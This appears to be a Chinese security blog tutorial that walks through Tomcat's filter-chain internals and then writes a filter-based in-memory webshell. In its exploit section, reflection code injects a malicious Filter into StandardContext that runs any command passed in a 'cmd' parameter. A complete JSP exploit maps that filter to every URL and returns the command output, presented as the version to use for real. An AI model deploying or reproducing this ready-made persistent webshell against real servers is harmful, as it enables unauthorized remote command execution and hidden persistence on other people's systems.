环境搭建
流程分析
结合前面说过的知识,我们大体探索了一下tomcat的执行流程,这里附上小图一张,我们将以StandardWrapperValve
这个阀门作为起点分析过滤器的执行流程。
要是有闲情雅致的话,当然也可以从第一个管道开始往后顺一下,这里光把断点标一下就跳过了,有兴趣的话可以自己分析。
直接来到StandardWrapperValve#line168
处,从初始化FilterChain的位置开始往后分析。request
, wrapper
, servlet
,能够看的出来我们这三个对象都被作为了参数进行初始化,跟进一下看看
前面的部分就省略掉了,起到的作用大体概况一下,就是从request把filterChain对象取出来供后面使用。真正的关键位置如下
可以看到这里从StandardContext
里面取出来了一个名为filterMaps
的数组(不要想为什么wrapper能够取出来Context这个东西,wrapper本来就是前面流程的最终产物),这里要着重介绍一下这个filterMap对象以及和它相关的两个小老弟。
- filterMaps :
filterMaps
中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>
标签
- filterConfigs:其中filterConfigs包含了当前的上下文信息
StandardContext
、以及filterDef
等信息,其filter
属性就是当前已定义好的过滤器对象集合。
- filterDefs:
filterDefs
是一个HashMap,以键值对的形式存储filterDef
,filterDef
存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>
标签。
filterConfigs这里要着重注意一下,因为我们所真正定义的过滤器对象,就是存储在它的filter对象里面的,后续的一系列调用都与他息息相关。
补完插叙接着再回到源码分析部分,从line85往后看,来到了两处遍历部分
没有什么特别的,总体来说就是通过从filterMap获得到的Servletname信息,到context中获取filterConfig对象,然后再把获取到的filterConfig对象添加到filterChain里面,这里之所以有两组遍历,主要还是根据requestPath和servletName来做的区分,根据实操来看,第二组遍历在这里是不执行实际作用的。在获取完filterChain之后,我们回到StandardWrapperValve
中,继续执行到 filterChain.doFilter()
,跟进分析。
进来之后先判断一下当前的安全设置是否是开着的,如果不是则直接跳转到internalDoFilter()
,二跟!
进去之后就是一个遍历filters的操作(存的是刚才放的filterConfigs)
这里的第一个元素是我们的自定义过滤器,第二个是tomcat自带的放filterChain末尾的过滤器
在经过一番无伤大雅的逻辑判断之后,会调用我们的filter.dofilter()
执行过滤器内部的代码逻辑,我们跟进去看一下。
filterDemo… 欢迎你
这里可以看到我们在自定义过滤器里面又调用了filterChain.doFilter,可以跟进看看会发生什么
emmmm,通过pos+1的办法,开始往后调用filterChain中下一个设定好的filter,也就是我们的wsfilter
,我们多跳几步,看下wsfilter的dofilter之后的代码逻辑。
通过层层加码,最终把filters数组彻底遍历完了,在第三次调用chain.doFilter后,终于在chain.doFilter内部实现了对servlet的访问(就最后调用service那里),至此,整个拦截机制流程彻底走完,后面就是不断的出栈
刚学javaweb的时候,还被这个类似于AOP的拦截机制困扰过一段时间。
Exp编写
通过前文分析,我们可以发现重点在filterConfigs
这个数组上,所以我们exp的重心也要放在这个数组上面,相关问题如下。
经过种种分析,可得出以下构造思路
1、获取当前应用的ServletContext对象
2、通过ServletContext对象再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现
获取StandardContext对象
稍微回顾一下StandardContext的调用层次结构。根据这个层次结构,我们得到以下代码。
1 2 3 4 5 6 7 8 9 10
| ServletContext servletContext = request.getSession().getServletContext();
Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
恶意Filter创建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| package org.example; import javax.servlet.*; import java.io.IOException; public class Shell_Filter implements Filter { public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } }
|
filterDef创建
1 2 3 4 5 6 7
| String name = "CommonFilter"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
|
封装filterConfig及filterDef到filterConfigs
也是稍微回顾下这里的层次结构,然后得出以下代码。
1 2 3 4 5 6 7
| Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig);
|
Jsp完整exp
把上面那些组合起来也可以,但真要用的话用下面这个师傅写的更好一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| <%-- User: Drunkbaby Date: 2022/8/27 Time: 上午10:31 --%> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %>
<% final String name = "Drunkbaby"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
} @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner( in ).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } filterChain.doFilter(servletRequest, servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name, filterConfig); out.print("Inject Success !"); } %> <html> <head> <title>filter</title> </head> <body> Hello Filter </body> </html>
|
执行结果如下